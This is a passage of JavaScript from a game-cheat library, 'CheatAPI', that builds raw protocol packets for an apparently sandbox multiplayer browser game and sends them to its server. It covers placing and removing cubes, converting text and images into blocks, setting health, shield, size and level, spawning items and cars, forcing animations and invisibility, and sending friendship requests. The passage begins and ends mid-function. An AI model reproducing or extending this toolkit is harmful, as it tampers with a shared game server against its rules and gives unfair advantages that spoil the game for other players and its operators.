                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,(MATERIAL>-1?9:7),(MATERIAL>-1?2:0),...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),...(MATERIAL?[7,MATERIAL]:[]))
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,(MATERIAL>-1?9:7),(MATERIAL>-1?2:0),...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),...(MATERIAL?[7,MATERIAL]:[]),254,105,0,0,0,0)
            }
        },
        REMOVE_CUBE: function(X, Y, Z, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z))
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }
        },

        TEXT_TO_CUBES: function(text, font){
            function getTextWidth(){
                let canvas = document.createElement("canvas")
                top.document.body.appendChild(canvas)
                canvas.style.display = "none"
                let ctx = canvas.getContext("2d")
                ctx.font = font
                let width = ctx.measureText(text).width
                canvas.remove()
                return width
            }
            let canvas = document.createElement("canvas")
            canvas.width = getTextWidth() + 25
            canvas.height = parseInt(font.split("px")[0]) + 25
            let ctx = canvas.getContext("2d")
            top.document.body.appendChild(canvas)
            canvas.style.display = "none"
            ctx.fillStyle = "black"
            ctx.fillRect(0, 0, canvas.width, canvas.height)
            ctx.textBaseLine = "middle"
            ctx.textAlign = "center"
            ctx.fillStyle = "white"
            ctx.font = font
            ctx.fillText(text, canvas.width / 2, canvas.height / 2)
            async function placeCubes(){
                let posx = CheatAPI.PLAYER.POS.X + 10
                let posy = CheatAPI.PLAYER.POS.Y
                let posz = CheatAPI.PLAYER.POS.Z
                for(var x = canvas.width; x != 1; x--){
                    for(var y = canvas.height; y != 1; y--){
                    let color = ctx.getImageData(x, y, 1, 1).data
                    if(color.toString() == "0,0,0,255"){
                        CheatAPI.CHEATS.PLACE_CUBE((posx + canvas.width) - x, (posy + canvas.height) - y, posz, CheatAPI.MATERIAL_IDS.Scrolling, "BOTH")
                    }else{
                        CheatAPI.CHEATS.PLACE_CUBE((posx + canvas.width) - x, (posy + canvas.height) - y, posz, CheatAPI.MATERIAL_IDS.Kill, "BOTH")
                    }
                        if(((y + x * canvas.width) % 3000) == 0){
                            await CheatAPI.FUNCTIONS.SLEEP(500)
                        }
                    }
                }
            }
            setTimeout(placeCubes, 0)
            canvas.remove()
        },
        IMAGE_TO_CUBES: function(imageSrc){
            let image = new Image()
            image.src = imageSrc
            image.onload = function(){
                let canvas = document.createElement("canvas")
                canvas.width = image.width
                canvas.height = image.height
                let ctx = canvas.getContext("2d")
                canvas.style.display = "none"
                ctx.drawImage(image, 0, 0)
                top.document.body.appendChild(canvas)
                function getCubeID([r,g,b]) {
                    let colors = [
                        [179,  52,  42],[134,  37,  30],[ 90,  15,   8],[216, 168, 111],[162, 137, 175],
                        [ 63, 149, 226],[ 41,  86, 151],[  0,  44, 100],[160,  79,   4],[115,  94, 137],
                        [109, 131,  21],[ 77,  91,   8],[ 40,  56,   2],[101,  42,   5],[ 66,  51,  90],
                        [218, 124,  12],[192,  94,   0],[159,  61,   0],[253, 206, 102],[182, 144,  67],
                        [168, 168, 165],[131, 130, 131],[ 88,  87,  87],[ 34,  34,  34],[116, 100,  66],
                        [124, 197, 237],[ 51,  32,  24],[ 95,  32,  25],[170, 223,   0],[131, 131, 133],
                        [120,  69,  38],[112,  81,  41],[ 74,  85,  89],[114, 113, 112],[135, 121,  72],
                        [ 49,  83,  73],[108,  85,  26],[ 98,  24,  24],[166, 121,  21],[108, 108, 108],
                        [ 75,  70,  66],[ 83,  77,  73],[231, 152, 152],[ 44,  57,  83],[252,  53, 160],
                        [ 74,  12,   8],[ 38,  53,  31],[ 17,  57,  82],[ 94,  85,  85],[124, 168, 106],
                        [115, 115, 116],[ 67, 116,  29],[131,   4,  37],[ 49,  28,   2],[146,  66,   4],
                        [204, 230, 235],[ 79,  88,  24],[175, 138,  64],[126, 125, 126],[173, 220, 243],
                        [ 82,  81,  80],[ 39, 115, 158],[ 65,  82, 102]
                    ];
                    const distances = colors.map(
                        ([r1, g1, b1], id) => [id, Math.sqrt(Math.pow(r1 - r, 2) + Math.pow(g1 - g, 2) + Math.pow(b1 - b, 2))]
                    );
                    const [ id ] = distances.reduce(
                        (d1, d2) => d1[1] > d2[1]? d2 : d1
                    );
                    return id
                }
                async function placeCubes(){
                    let posx = CheatAPI.PLAYER.POS.X + 10
                    let posy = CheatAPI.PLAYER.POS.Y
                    let posz = CheatAPI.PLAYER.POS.Z
                    for(var x = canvas.width; x != 1; x--){
                        for(var y = canvas.height; y != 1; y--){
                            let pixelColor = ctx.getImageData(x, y, 1, 1).data
                            //(posx + canvas.width) - x, (posy + canvas.height) - y, posz
                            /*let distances = []
                            colors.forEach((color)=>{
                                distances.push(Math.abs(color[0] - pixelColor[0]) + Math.abs(color[1] - pixelColor[1]) + Math.abs(color[2] - pixelColor[2]))
                            })
                            let block = Object.values(CheatAPI.MATERIAL_IDS)[distances.indexOf(Math.min.apply(Math, distances))]*/
                            let block = getCubeID(pixelColor)
                            CheatAPI.CHEATS.PLACE_CUBE((posx + canvas.width) - x, (posy + canvas.height) - y, posz, block ? block : CheatAPI.MATERIAL_IDS.BlackConcrete, "BOTH")
                            if(((y + x * canvas.width) % 3000) == 0){
                                await CheatAPI.FUNCTIONS.SLEEP(700)
                            }
                        }
                    }
                }
                setTimeout(placeCubes, 0)
                canvas.remove()
            }
        },
         INVISIBLE: function(WOID,x,FLAG) {//75579
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
      CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,104,105,100,101,111,x)
            }else if(FLAG == "SERVER"){
      CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,104,105,100,101,111,x,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
      CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,104,105,100,101,111,x)
      CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,4,104,105,100,101,111,x,254,105,0,0,0,0)
            }
        },

        SET_HEALTH: function(WOID, HEALTH) {
            CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 6, 104, 101, 97, 108, 116, 104, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(HEALTH))
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 6, 104, 101, 97, 108, 116, 104, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(HEALTH), 254, 105, 0, 0, 0, 0)
        },
        SET_MAX_HEALTH: function(WOID, HEALTH) {
            CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 9, 109, 97, 120, 72, 101, 97, 108, 116, 104, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(HEALTH))
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 9, 109, 97, 120, 72, 101, 97, 108, 116, 104, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(HEALTH), 254, 105, 0, 0, 0, 0)
        },
        SET_SIZE: function(WOID, SIZE, FLAG) {
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 4, 115, 105, 122, 101, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 4, 115, 105, 122, 101, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE), 254, 105, 0, 0, 0, 0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 4, 115, 105, 122, 101, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE))
                CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 4, 115, 105, 122, 101, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE), 254, 105, 0, 0, 0, 0)
            }
        },
         RUN_TIME: function(WOID, SIZE, FLAG) {
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),70,68,0,0,0,1,115,0,4,115,105,122,101,102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),70,68,0,0,0,1,115,0,4,115,105,122,101,102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE), 254, 105, 0, 0, 0, 0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243, 2, 25, 0, 2, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),70,68,0,0,0,1,115,0,4,115,105,122,101,102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE))
                CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),70,68,0,0,0,1,115,0,4,115,105,122,101,102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(SIZE), 254, 105, 0, 0, 0, 0)
            }
        },
        WATER_SETTINGS: function(WOID,FLAG) {
    FLAG ? FLAG =  FLAG.toUpperCase() : FLAG = "BOTH"
    if(FLAG == "CLIENT"){
        CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,10,119,97,116,101,114,67,111,108,111,114,121,0,3,102,63,128,0,0,0,0,0,0,0,0,0,0)
    }else if(FLAG == "SERVER"){
        CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,10,119,97,116,101,114,67,111,108,111,114,121,0,3,102,63,128,0,0,0,0,0,0,0,0,0,0,254,105,0,0,0,0)
        }else if(FLAG == "BOTH"){
        CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,10,119,97,116,101,114,67,111,108,111,114,121,0,3,102,63,128,0,0,0,0,0,0,0,0,0,0)
        CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,1,115,0,10,119,97,116,101,114,67,111,108,111,114,121,0,3,102,63,128,0,0,0,0,0,0,0,0,0,0,254,105,0,0,0,0)
        }},
        SPAWN_CAR:function() {
        CheatAPI.SEND_SOCKET(243,2,49,0,10,24,102,0,0,0,0,25,102,62,153,153,154,26,102,0,0,0,0,27,102,0,0,0,0,28,102,0,0,0,0,29,102,0,0,0,0,30,102,63,128,0,0,141,98,0,142,98,0,72,68,0,0,0,2,98,1,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),98,0,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
        },

        SET_LEVEL: function(LEVEL, FLAG) {
            FLAG ? FLAG =  FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,56,0,1,169,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(LEVEL))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,55,0,2,169,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(LEVEL),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,56,0,1,169,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(LEVEL))
                CheatAPI.SEND_SOCKET(243,4,55,0,2,169,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(LEVEL),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }
        },
        IMPULSE: function(WOID) {
            CheatAPI.SEND_SOCKET(243, 4, 32, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 83, 68, 0, 0, 0, 1, 98, 0, 120, 0, 0, 0, 14, 5, 2, 65, 153, 217, 226, 68, 170, 143, 159, 64, 156, 229, 197, 254, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
        },
 SKYBOX: function(WOID,FLAG) {
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){//20
                CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),68,18,68,0,0,0,3,115,0,8,115,117,110,65,110,103,108,101,102,66,234,0,0,115,0,5,99,111,108,111,114,121,0,3,102,63,5,30,184,62,250,225,71,62,199,174,20,115,0,10,102,111,103,68,101,110,115,105,116,121,102,59,163,215,11)
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,3,115,0,8,115,117,110,65,110,103,108,101,102,66,234,0,0,115,0,5,99,111,108,111,114,121,0,3,102,63,5,30,184,62,250,225,71,62,199,174,20,115,0,10,102,111,103,68,101,110,115,105,116,121,102,59,163,215,11,254,105,0,0,0,0)
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,4,0,2,22,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),68,18,68,0,0,0,3,115,0,8,115,117,110,65,110,103,108,101,102,66,234,0,0,115,0,5,99,111,108,111,114,121,0,3,102,63,5,30,184,62,250,225,71,62,199,174,20,115,0,10,102,111,103,68,101,110,115,105,116,121,102,59,163,215,11)
                CheatAPI.SEND_SOCKET(243,4,4,0,3,22,105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),18,68,0,0,0,3,115,0,8,115,117,110,65,110,103,108,101,102,66,234,0,0,115,0,5,99,111,108,111,114,121,0,3,102,63,5,30,184,62,250,225,71,62,199,174,20,115,0,10,102,111,103,68,101,110,115,105,116,121,102,59,163,215,11,254,105,0,0,0,0)
            }
        },

   EF:function(NO_ID) { CheatAPI.SEND_SOCKET(243, 4, 32, 0, 3, 22, 105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),83,68,0,0,0,1,98,0,120,0,0,0,2,1,NO_ID,254, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))},

      IMPULSE_ID:function(WOID) {
          CheatAPI.SEND_SOCKET(243,2,27,0,2,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID),83,68,0,0,0,1,98,0,120,0,0,0,14,5,2,...CheatAPI.FUNCTIONS.TO_FLOAT_32(0),0,0,0,0,...CheatAPI.FUNCTIONS.TO_FLOAT_32(9999999999),0,0,0,0,...CheatAPI.FUNCTIONS.TO_FLOAT_32(-150),0,0,0,0,0)}
        ,

// CheatAPI.SEND_SOCKET(243,2,111,0,1,191,105,0,3,242,130)
  //Star      CheatAPI.SEND_SOCKET(243,2,18,0,1,22,121,0,2,105,0,3,242,183,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID))
                /*swim*/A1:function() { CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,83,119,105,109,115,0,9,116,105,109,101,83,116,97,109,112,105,113,24,237,147,254,105,0,0,0,0)},
               /*walk*/ A2:function() { CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,87,97,108,107,115,0,9,116,105,109,101,83,116,97,109,112,105,113,25,241,113,254,105,0,0,0,0)},
              /*idle*/  A3:function() { CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,73,100,108,101,115,0,9,116,105,109,101,83,116,97,109,112,105,113,25,254,152,254,105,0,0,0,0)},
             /*jump*/   A4:function() { CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,4,74,117,109,112,115,0,9,116,105,109,101,83,116,97,109,112,105,113,25,249,99,254,105,0,0,0,0)},
            /*Tpose*/   A5:function() {CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,9,97,110,105,109,97,116,105,111,110,68,0,0,0,2,115,0,5,115,116,97,116,101,115,0,5,84,80,111,115,101,115,0,9,116,105,109,101,83,116,97,109,112,105,45,74,235,71,254,105,0,0,0,3,254,105,0,0,0,0)},
           /*dead*/     A6:function() {CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID), 70, 68, 0, 0, 0, 2, 115, 0, 11, 99, 117, 114, 114, 101, 110, 116, 73, 116, 101, 109, 68, 0, 0, 0, 3, 115, 0, 4, 116, 121, 112, 101, 105, 0, 0, 0, 5, 115, 0, 9, 118, 97, 114, 105, 97, 110, 116, 73, 100, 105, 0, 0, 0, 0, 115, 0, 15, 117, 112, 100, 97, 116, 101, 73, 116, 101, 109, 83, 116, 97, 116, 101, 105, 0, 0, 0, 4, 115, 0, 9, 97, 110, 105, 109, 97, 116, 105, 111, 110, 68, 0, 0, 0, 2, 115, 0, 5, 115, 116, 97, 116, 101, 115, 0, 4, 68, 101, 97, 100, 115, 0, 9, 116, 105, 109, 101, 83, 116, 97, 109, 112, 105, 74, 64, 25, 77, 254, 105, 0, 0, 0, 0)},

        REMOVE_CUBE2: function(X, Y, Z, FLAG){
            FLAG ? FLAG = FLAG.toUpperCase() : FLAG = "BOTH"
            if(FLAG == "CLIENT"){
                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z))
            }else if(FLAG == "SERVER"){
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }else if(FLAG == "BOTH"){
                CheatAPI.SEND_SOCKET(243,2,7,0,2,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z))
                CheatAPI.SEND_SOCKET(243,4,10,0,3,47,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.CUBE_ID),49,120,0,0,0,7,0,...CheatAPI.FUNCTIONS.TO_BYTE_16(X),...CheatAPI.FUNCTIONS.TO_BYTE_16(Y),...CheatAPI.FUNCTIONS.TO_BYTE_16(Z),254,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR))
            }
        },

        REQUEST_FRIENDSHIP: function(ID) {
            CheatAPI.SEND_SOCKET(243,2,15,0,1,53,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(ID))
        },
        ACCEPT_FRIENDSHIP: function(REQUEST_ID, ID, FRIEND_ID){
            CheatAPI.SEND_SOCKET(243,4,16,0,4,52,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(REQUEST_ID),11,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(ID),53,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(FRIEND_ID),254,105,0,0,0,0)
        },
        IS_FIRING: function(IS_FIRING) {
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID), 70, 68, 0, 0, 0, 1, 115, 0, 8, 105, 115, 70, 105, 114, 105, 110, 103, 111, IS_FIRING, 254, 105, 0, 0, 0, 0)
        },
        SPAWN_ITEM: function(ITEM_ID) {
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID), 70, 68, 0, 0, 0, 1, 115, 0, 11, 99, 117, 114, 114, 101, 110, 116, 73, 116, 101, 109, 68, 0, 0, 0, 4, 115, 0, 4, 116, 121, 112, 101, 105, 0, 0, 0, ITEM_ID, 115, 0, 9, 118, 97, 114, 105, 97, 110, 116, 73, 100, 105, 0, 0, 0, 0, 115, 0, 15, 117, 112, 100, 97, 116, 101, 73, 116, 101, 109, 83, 116, 97, 116, 101, 105, 0, 0, 0, 4, 115, 0, 8, 105, 116, 101, 109, 68, 97, 116, 97, 68, 0, 0, 0, 1, 115, 0, 8, 109, 97, 116, 101, 114, 105, 97, 108, 98, 20, 254, 105, 0, 0, 0, 0)
        },
        SPAWN_ITEM2: function(ITEM_ID) {
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID), 70, 68, 0, 0, 0, 1, 115, 0, 11, 99, 117, 114, 114, 101, 110, 116, 73, 116, 101, 109, 68, 0, 0, 0, 4, 115, 0, 4, 116, 121, 112, 101, 105, 0, 0, 0, ITEM_ID, 115, 0, 9, 118, 97, 114, 105, 97, 110, 116, 73, 100, 105, 0, 0, 0, 0, 115, 0, 15, 117, 112, 100, 97, 116, 101, 73, 116, 101, 109, 83, 116, 97, 116, 101, 105, 0, 0, 0, 5, 115, 0, 8, 105, 116, 101, 109, 68, 97, 116, 97, 68, 0, 0, 0, 1, 115, 0, 8, 109, 97, 116, 101, 114, 105, 97, 108, 98, 20, 254, 105, 0, 0, 0, 0)
        },
        SPAWN_EFFECT: function(WOID, EFFECT) {
            let effect = CheatAPI.FUNCTIONS.ENCODE_TEXT(EFFECT)
            CheatAPI.SEND_SOCKET(243, 4, 29, 0, 3, 22, 105, ...CheatAPI.FUNCTIONS.TO_BYTE_32(WOID), 70, 68, 0, 0, 0, 1, 115, 0, 9, 109, 111, 100, 105, 102, 105, 101, 114, 115, 68, 0, 0, 0, 1, 115, 0, effect.length, 95, ...effect, 98, 0, 254, 105, 0, 0, 0, 0)
        },



         HEAL: function() {
       CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,6,115,104,105,101,108,100,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(9999999*999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999*999999999999999999999999999),254,105,0,0,0,0)
        },
         HEALVALUE: function(x) {
       CheatAPI.SEND_SOCKET(243,4,29,0,3,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),70,68,0,0,0,1,115,0,6,115,104,105,101,108,100,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(x),254,105,0,0,0,0)
        },
         GAMETIER: function(tier) { CheatAPI.SEND_SOCKET(243,2,63,0,2,199,105,0,0,0,31,200,68,0,0,0,2,98,4,105,0,0,0,/**/tier/**/,98,12,115,0,5,112,116, 95,66,82)
                                  },
            CHECKPOINT: function(WOID, X, Y, Z){
                CheatAPI.SEND_SOCKET(243,2,2,0,7,22,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.WOID),35,105,...CheatAPI.FUNCTIONS.TO_BYTE_32(CheatAPI.PLAYER.ACTORNR),24,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(X),25,102,...CheatAPI.FUNCTIONS.TO_FLOAT_32(Y),26, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(Z), 27, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 28, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 29, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0), 30, 102, ...CheatAPI.FUNCTIONS.TO_FLOAT_32(0))
